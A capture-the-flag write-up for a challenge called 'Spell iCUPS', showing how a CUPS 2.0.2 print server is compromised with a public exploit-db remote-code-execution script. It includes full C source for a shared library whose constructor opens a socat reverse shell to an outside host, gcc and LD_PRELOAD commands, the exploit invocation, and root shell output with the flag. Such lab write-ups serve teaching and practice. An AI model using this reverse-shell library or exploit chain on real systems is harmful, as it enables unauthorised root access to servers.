Spell iCUPS
I turned on a small CUPS server we found in the back for saving PDFs that we make locally. Didn't have SSH or anything, though, but thankfully it had socat.
We're provided an openvpn config.
Recon
Nmap scan:
Nmap scan report for 172.30.0.2
Host is up (0.18s latency).
Not shown: 999 closed ports
PORT STATE SERVICE VERSION
631/tcp open ipp CUPS 2.0
Sending jobs to printer
<kmhn> anyways here's some relevant stuff
<kmhn> copied poc from here
<kmhn> https://github.com/farisv/PIL-RCE-Ghostscript-CVE-2018-16509
<kmhn> modified to use socat instead of touch
<kmhn> ipptool needs a command file
<kmhn> used this one https://stackoverflow.com/a/28202057
<kmhn> then ipptool -f <file> ipp://172.30.0.2:631/printers/pdf <commandfile>
<kmhn> that works for "legit" files
CUPS vulnerability
Noticed the "SOFTWARE/VERSION" environment variable in the error log saying "CUPS/2.0.2". There's a known RCE (with exploit code) for CUPS < 2.0.3: https://www.exploit-db.com/exploits/41233
Setting the "Remote Administration" flag off on the machine and applying that kicks us off the administration interface. After running the exploit with only the "stomp ACL" option, we're back in!
What's left is to build a shared library that we can use the exploit to push and LD_PRELOAD
.
Code (shelly.c)
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
void __attribute__ ((constructor)) initLibrary(void) {
int fd = open("/tmp/sp0tl3ss", O_CREAT | O_WRONLY | O_EXCL, S_IRUSR | S_IWUSR);
if (fd < 0) {
// File exists or whatever other errors
} else {
write(fd, "Locky", 5);
close(fd);
system("socat tcp-connect:172.30.0.14:2025 exec:sh,pty,stderr,sigint,setsid,sane");
}
//exit(0);
}
Build with
gcc -fPIC -shared -o libshelly.so shelly.c -ldl
For testing, use some binary and LD_PRELOAD
the shared lib
LD_PRELOAD=./libshelly.so ./test_bin
Change the file /tmp/sp0tl3ss
to something else and rebuild if you need to retrigger the payload.
Trigger the sploit
python 41233.py -a 172.30.0.2 -b 631 -c libshelly.so
And we're in!
# whoami
root
# find -name '*flag*'
./sys/devices/pnp0/00:04/tty/ttyS0/flags
./sys/devices/platform/serial8250/tty/ttyS2/flags
./sys/devices/platform/serial8250/tty/ttyS3/flags
./sys/devices/platform/serial8250/tty/ttyS1/flags
./sys/devices/virtual/net/lo/flags
./sys/devices/virtual/net/eth0/flags
./sys/module/scsi_mod/parameters/default_dev_flags
./proc/sys/kernel/acpi_video_flags
./proc/sys/kernel/sched_domain/cpu0/domain0/flags
./proc/sys/kernel/sched_domain/cpu0/domain1/flags
./proc/sys/kernel/sched_domain/cpu1/domain0/flags
./proc/sys/kernel/sched_domain/cpu1/domain1/flags
./proc/sys/kernel/sched_domain/cpu2/domain0/flags
./proc/sys/kernel/sched_domain/cpu2/domain1/flags
./proc/sys/kernel/sched_domain/cpu3/domain0/flags
./proc/sys/kernel/sched_domain/cpu3/domain1/flags
./proc/sys/kernel/sched_domain/cpu4/domain0/flags
./proc/sys/kernel/sched_domain/cpu4/domain1/flags
./proc/sys/kernel/sched_domain/cpu5/domain0/flags
./proc/sys/kernel/sched_domain/cpu5/domain1/flags
./proc/sys/kernel/sched_domain/cpu6/domain0/flags
./proc/sys/kernel/sched_domain/cpu6/domain1/flags
./proc/sys/kernel/sched_domain/cpu7/domain0/flags
./proc/sys/kernel/sched_domain/cpu7/domain1/flags
./proc/kpageflags
./root/flag.txt
./usr/lib/x86_64-linux-gnu/perl/5.28.1/bits/ss_flags.ph
./usr/lib/x86_64-linux-gnu/perl/5.28.1/bits/waitflags.ph
# cat /root/flag.txt
gigem{h4ha_y0u_s41D_1t_hah4}
Flag
gigem{h4ha_y0u_s41D_1t_hah4}